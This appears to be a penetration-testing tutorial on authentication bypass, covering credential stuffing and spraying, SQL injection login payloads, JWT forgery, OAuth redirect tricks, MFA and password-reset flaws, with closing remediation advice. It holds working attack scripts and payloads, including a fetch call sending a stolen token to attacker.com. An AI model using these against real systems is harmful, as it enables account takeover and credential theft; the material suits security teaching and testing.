
Authentication Bypass: Breaking Login Mechanisms
Ways past a login page, from credential attacks and logic flaws to session, JWT, OAuth, MFA and password reset bugs.
Introduction
An authentication bypass gets you into an account or a feature without valid credentials. The cause can be a one-line logic error or a broken signature check, and the result is usually account takeover, which makes these some of the highest-impact web findings.
MFA, OAuth and passwordless login were added on top of the old username and password form. Each one is another flow with its own state, and each flow is somewhere the developers can get a check wrong.
Password-based authentication attacks
Credential stuffing
Replaying username and password pairs from breach dumps. Hydra with -L and -P tries every combination; for real stuffing, give it a user:pass file with -C so each pair is tried once.
# Using Hydra
hydra -L users.txt -P passwords.txt target.com http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
# Using Burp Intruder with credential lists
# Position: username=§user§&password=§pass§
# Attack type: PitchforkPassword spraying
One or two likely passwords against many accounts, slow enough to stay under the lockout threshold:
# Common passwords to try
Password123!
Summer2025!
Company123
Welcome1
# Using spray tool
spray.py -u users.txt -p 'Summer2025!' -d target.comUsername enumeration
Look for differences in the response body, status code or timing between valid and invalid usernames:
# Response differences to check:
# - Different error messages
# - Response time variations
# - Different HTTP status codes
# - Account lockout for valid users only
import requests
import time
def enumerate_users(wordlist):
for username in wordlist:
start = time.time()
r = requests.post('https://target.com/login',
data={'username': username, 'password': 'invalid'})
elapsed = time.time() - start
if "Invalid password" in r.text: # Different from "Invalid username"
print(f"[VALID] {username}")
elif elapsed > 1: # Timing difference
print(f"[POSSIBLE] {username} (slow response)")Logic flaws
Response manipulation
If the client decides what happens next based on the response, change the response in Burp:
# Original response
HTTP/1.1 200 OK
{"authenticated": false, "error": "Invalid password"}
# Modified response (intercept and change)
HTTP/1.1 200 OK
{"authenticated": true, "user": "admin"}Parameter manipulation
# Try adding/modifying parameters
POST /login
username=user&password=wrong&admin=true
username=user&password=wrong&role=administrator
username=user&password=wrong&authenticated=1Default credentials
Try the defaults before anything else:
| Application | Username | Password |
|---|---|---|
| Admin panels | admin | admin, password, admin123 |
| Tomcat | tomcat | tomcat, s3cret |
| Jenkins | admin | admin |
| Databases | sa, root | (blank), password |
SQL injection auth bypass
# Username field
admin'--
admin' OR '1'='1'--
' OR 1=1--
' OR ''='
admin')--
# Password field (if checked separately)
' OR '1'='1
anything' OR '1'='1'--Session management flaws
Predictable session tokens
Collect a batch of tokens and decode them. Sequential, time-based or user-derived values can be predicted:
# Collect multiple tokens
tokens = [
"session=MTY3ODkwMTIzNA==", # Base64 timestamp?
"session=MTY3ODkwMTIzNQ==",
"session=MTY3ODkwMTIzNg==",
]
# Decode and analyze
import base64
for t in tokens:
decoded = base64.b64decode(t.split('=')[1])
print(decoded) # Sequential numbers!Session fixation
If the application keeps the session ID it had before login, plant a known ID on the victim and wait:
1. Attacker gets session: PHPSESSID=attacker123
2. Send link: https://target.com/login?PHPSESSID=attacker123
3. Victim logs in with pre-set session
4. Attacker uses same session IDInsecure token storage
// Check for tokens in:
localStorage.getItem('token')
sessionStorage.getItem('token')
document.cookie // Without HttpOnly
// XSS can steal these tokens
fetch('https://attacker.com/steal?token=' + localStorage.getItem('jwt'))JWT vulnerabilities
The none algorithm
Set alg to none and drop the signature. Some libraries accept the token unsigned:
import jwt
import base64
# Original token
token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature"
# Create token with alg:none
header = base64.urlsafe_b64encode(b'{"alg":"none","typ":"JWT"}').rstrip(b'=')
payload = base64.urlsafe_b64encode(b'{"user":"admin","role":"admin"}').rstrip(b'=')
forged = header.decode() + '.' + payload.decode() + '.'RS256 to HS256 confusion
If the server verifies with whatever algorithm the header names and you can get its RSA public key, sign an HS256 token with the public key as the HMAC secret:
import jwt
# Get public key (often in /jwks.json or /.well-known/jwks.json)
public_key = open('public.pem').read()
# Sign with public key as HMAC secret
forged = jwt.encode(
{"user": "admin", "role": "admin"},
public_key,
algorithm="HS256"
)Weak secret keys
# Crack JWT secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# Common weak secrets
secret
password
your-256-bit-secretJWK injection
Embed your own public key in the jwk header. A server that trusts that header verifies the token against your key:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "attacker_public_key_n",
"e": "AQAB"
}
}OAuth/OIDC vulnerabilities
Open redirect in redirect_uri
https://target.com/oauth/authorize?
client_id=legit&
redirect_uri=https://attacker.com/steal&
response_type=code
# Variations to try:
redirect_uri=https://attacker.com
redirect_uri=https://target.com.attacker.com
redirect_uri=https://target.com%40attacker.com
redirect_uri=https://target.com/callback?next=https://attacker.com
redirect_uri=https://target.com/callback/../../../attacker.comCSRF in OAuth flow
Without a state parameter, an attacker can complete the flow with their own authorization code in the victim's browser (login CSRF):
1. Attacker starts OAuth flow
2. Gets authorization code for attacker account
3. Sends link with code to victim
4. Victim clicks, their account links to attacker's Google/GitHubToken leakage
# Token in URL (leaks via Referer)
https://app.com/callback#access_token=secret123
# Add external resource to page
<img src="https://attacker.com/log">
# Referer header contains token!MFA bypass techniques
Direct endpoint access
# Skip MFA page, go directly to authenticated page
GET /dashboard HTTP/1.1
Cookie: session=authenticated_session
# Sometimes MFA check only on /mfa-verify endpointResponse manipulation
# Original MFA response
{"mfa_required": true, "redirect": "/mfa-verify"}
# Modified
{"mfa_required": false, "redirect": "/dashboard"}Backup code brute force
# If backup codes are 6-8 digits
for code in range(10000000):
r = requests.post('/mfa/backup',
data={'code': str(code).zfill(8)})
if 'success' in r.text:
print(f"Valid code: {code}")
breakRace conditions
# Submit correct and incorrect MFA simultaneously
import threading
def submit_correct():
requests.post('/mfa', data={'code': '123456'}) # correct
def submit_wrong():
requests.post('/mfa', data={'code': '000000'}) # wrong
# Race to bypass rate limiting
threads = [threading.Thread(target=submit_correct) for _ in range(10)]
threads += [threading.Thread(target=submit_wrong) for _ in range(10)]
for t in threads:
t.start()Password reset flaws
Token leakage
# Token in URL sent via HTTP
http://target.com/reset?token=abc123
# Referer leakage
<img src="https://attacker.com/log">Host header injection
POST /forgot-password HTTP/1.1
Host: attacker.com
X-Forwarded-Host: attacker.com
email=victim@target.com
# Reset link sent: https://attacker.com/reset?token=...Predictable tokens
# Tokens based on:
# - Timestamp
# - User ID
# - Email hash
# - Sequential numbers
import hashlib
import time
# If token = MD5(email + timestamp)
for ts in range(int(time.time()) - 3600, int(time.time())):
token = hashlib.md5(f"victim@target.com{ts}".encode()).hexdigest()
r = requests.get(f"https://target.com/reset?token={token}")
if "New password" in r.text:
print(f"Valid token: {token}")Remediation
Secure password storage
import bcrypt
# Hash passwords
hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt(12))
# Verify
bcrypt.checkpw(provided.encode(), stored_hash)Secure session management
import secrets
# Generate unpredictable tokens
session_id = secrets.token_hex(32)
# Regenerate after login
session.regenerate()
# Set secure cookie flags
response.set_cookie('session', session_id,
httponly=True, secure=True, samesite='Strict')Rate limiting
from flask_limiter import Limiter
@limiter.limit("5 per minute")
@app.route('/login', methods=['POST'])
def login():
# ...References
MITRE ATT&CK techniques
- T1110 - Brute Force - Credential attacks
- T1110.001 - Brute Force: Password Guessing - Password spraying
- T1110.004 - Brute Force: Credential Stuffing - Credential reuse attacks
- T1539 - Steal Web Session Cookie - Session hijacking
- T1078 - Valid Accounts - Account compromise
CWE entries
- CWE-287 - Improper Authentication - Primary authentication weakness
- CWE-384 - Session Fixation - Session management flaw
- CWE-307 - Improper Restriction of Excessive Authentication Attempts - Brute force vulnerability
- CWE-640 - Weak Password Recovery Mechanism for Forgotten Password - Password reset flaws
OWASP resources
- OWASP Authentication Cheat Sheet - Authentication guidance
- OWASP Session Management Cheat Sheet - Session security
- OWASP Testing Guide - Authentication - Testing methodology
Tools documentation
Related articles
- SQL Injection - SQLi for auth bypass
- CSRF - Session-related attacks
- API Security - API authentication
API Security Testing: REST, GraphQL, and Beyond
Testing REST and GraphQL APIs for BOLA, mass assignment, broken authentication, introspection leaks and rate limit bypasses.
Business Logic Flaws: Exploiting Application Workflows
Testing for business logic bugs: skipped workflow steps, price and quantity tampering, race conditions, mass assignment and other flaws scanners miss.